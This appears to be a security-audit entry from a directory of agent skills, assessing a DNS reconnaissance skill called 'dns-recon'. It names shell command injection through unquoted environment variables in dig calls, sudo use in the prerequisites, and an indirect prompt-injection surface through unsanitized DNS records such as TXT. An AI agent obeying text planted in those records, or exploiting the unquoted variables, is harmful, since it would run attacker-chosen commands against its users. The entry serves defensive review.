The Agent Skills Directory

[COMMAND_EXECUTION]: The skill is vulnerable to shell command injection through the SECSKILL_DNS_RESOLVER and SECSKILL_TARGET_DOMAIN environment variables. Specifically, the RESOLVER_OPT variable is interpolated into dig commands without double-quoting, which can allow arbitrary command execution if the input contains shell metacharacters.
[PRIVILEGE_ESCALATION]: The prerequisites section of the skill documentation instructs users to use sudo for installing system packages, which involves elevated permissions.
[INDIRECT_PROMPT_INJECTION]: The skill ingests untrusted data from external DNS servers, creating a surface for indirect prompt injection.
Ingestion points: DNS records (A, AAAA, MX, NS, TXT, etc.) retrieved from external name servers in SKILL.md.
Boundary markers: None; untrusted data is processed and written to output files without delimitation.
Capability inventory: The skill utilizes shell commands including mkdir, dig, grep, sed, tee, and date in SKILL.md.
Sanitization: None; the retrieved DNS record content is not sanitized or validated before being recorded or displayed.

dns-recon